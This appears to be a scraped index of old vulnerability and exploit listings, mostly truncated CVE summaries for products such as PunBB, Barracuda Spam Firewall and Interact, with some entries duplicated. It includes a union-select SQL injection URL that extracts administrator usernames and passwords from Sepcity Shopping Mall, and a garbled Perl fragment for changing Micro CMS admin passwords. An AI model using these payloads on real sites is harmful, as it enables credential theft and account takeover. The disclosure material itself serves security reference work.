CVE-2009-0169

Sun Java System Access Manager 7.1 allows remote authenticated sub-realm administrators to gain privileges, as demonstrated by creating the amadmin account in the sub-realm, and then logging in as amadmin in the root realm...

Cisco IOS HTTP Server Ping Parameter Cross-Site Scripting Vulnerability

Cisco IOS Software contains a vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary HTML and script code in the user's browser session. The vulnerability exists due to an input sanitization error in the embedded HTTP server. An unauthenticated, remote attacker...

Weight Loss Recipe Book 3.1 (Auth Bypass) SQL Injection Vuln

Exploit for unknown platform in category web applications ============================================================ Weight Loss Recipe Book 3.1 Auth Bypass SQL Injection Vuln ============================================================ Weight Loss Recipe Book 3.1 Autore: x0r Cms Site:...

Megacubo 5.0.7 (mega://) remote eval() injection exploit

!-- Megacubo 5.0.7 mega:// remote eval injection exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ tested against Internet Explorer 8 beta 2/xp sp 3 software site: http://www.megacubo.net/tv/ download url:...

Sepcity Shopping Mall (shpdetails.asp ID) SQL Injection Vulnerability

No description provided by source. By Osmanizim Security Specialist Contacts : www.osmanizim.com Title: Shopping Mall = SQL Injection Vulnerability. Demo : http://freeasp.sepcity.com/shopmall/default.asp // Exploit -- http://localhost/shopmall/shpdetails.asp?ID=1 union select...

Sepcity Shopping Mall - SQL Injection

Sepcity Shopping Mall - SQL Injection By Osmanizim Security Specialist Contacts : www.osmanizim.com Title: Shopping Mall http://localhost/shopmall/shpdetails.asp?ID=1 union select 0,1,2,username,password,5,6,7,8,9 from administrators // Admin -- http://localhost/shopmall/admlogin.asp? milw0rm.com...

Code injection

Static code injection vulnerability in installation/setup.php in phpCollab 2.5 rc3 and earlier allows remote authenticated administrators to inject arbitrary PHP code into include/settings.php via the URI...

CVE-2008-4305

Static code injection vulnerability in installation/setup.php in phpCollab 2.5 rc3 and earlier allows remote authenticated administrators to inject arbitrary PHP code into include/settings.php via the URI...

CVE-2008-1094

SQL injection vulnerability in index.cgi in the Account View page in Barracuda Spam Firewall BSF before 3.5.12.007 allows remote authenticated administrators to execute arbitrary SQL commands via a patternx parameter in a searchcountequals action, as demonstrated by the pattern0 parameter...

Sql injection

SQL injection vulnerability in index.cgi in the Account View page in Barracuda Spam Firewall BSF before 3.5.12.007 allows remote authenticated administrators to execute arbitrary SQL commands via a patternx parameter in a searchcountequals action, as demonstrated by the pattern0 parameter...

Sql injection

Multiple SQL injection vulnerabilities in PunBB 1.3 and 1.3.1 allow remote authenticated administrators to execute arbitrary SQL commands via the 1 orderby or 2 direction parameter to admin/users.php, or 3 configuration options to admin/settings.php...

CVE-2008-5434

Multiple SQL injection vulnerabilities in PunBB 1.3 and 1.3.1 allow remote authenticated administrators to execute arbitrary SQL commands via the 1 orderby or 2 direction parameter to admin/users.php, or 3 configuration options to admin/settings.php...

CVE-2008-5434

Multiple SQL injection vulnerabilities in PunBB 1.3 and 1.3.1 allow remote authenticated administrators to execute arbitrary SQL commands via the 1 orderby or 2 direction parameter to admin/users.php, or 3 configuration options to admin/settings.php...

CVE-2008-3868

Cross-site request forgery CSRF vulnerability in Interact 2.4.1 allows remote attackers to hijack the authentication of super administrators for requests that create super administrator accounts...

Cross site request forgery (csrf)

Cross-site request forgery CSRF vulnerability in Interact 2.4.1 allows remote attackers to hijack the authentication of super administrators for requests that create super administrator accounts...

CVE-2008-3868

Concretely, CVE-2008-3868 affects Interact 2.4.1 and is a CSRF vulnerability that can allow remote attackers to hijack a super administrator’s session to perform actions that create new super administrator accounts. The root cause is forged HTTP requests that are executed in the context of an aut...

CVE-2008-3868

Cross-site request forgery CSRF vulnerability in Interact 2.4.1 allows remote attackers to hijack the authentication of super administrators for requests that create super administrator accounts...

Micro CMS 0.3.5 - Remote AddDeletePassword Change

Micro CMS 0.3.5 - Remote AddDeletePassword Change !/usr/bin/perl -------------------------------------------------------------- Micro CMS ; ifdefined $admin print STDOUT deladmin$admin; exit; else print STDOUT "+ Not Defined!\n"; exit; if$tell = /change/i print STDOUT "+ Admin ID : "; chomp$admin...

CVE-2008-4878

Unrestricted file upload vulnerability in the "Add Image Macro" feature in WebCards 1.3 allows remote authenticated administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the uploaded file...

Confluence administrators (who are not necessarily sys admins) can configure whitelist

A user who has the "Confluence Administrator" permission, but not necessarily the "System Administrator" permission, can configure the new URL whitelist for the HTML-include and RSS macros. Is this good enough, from a security point of view?...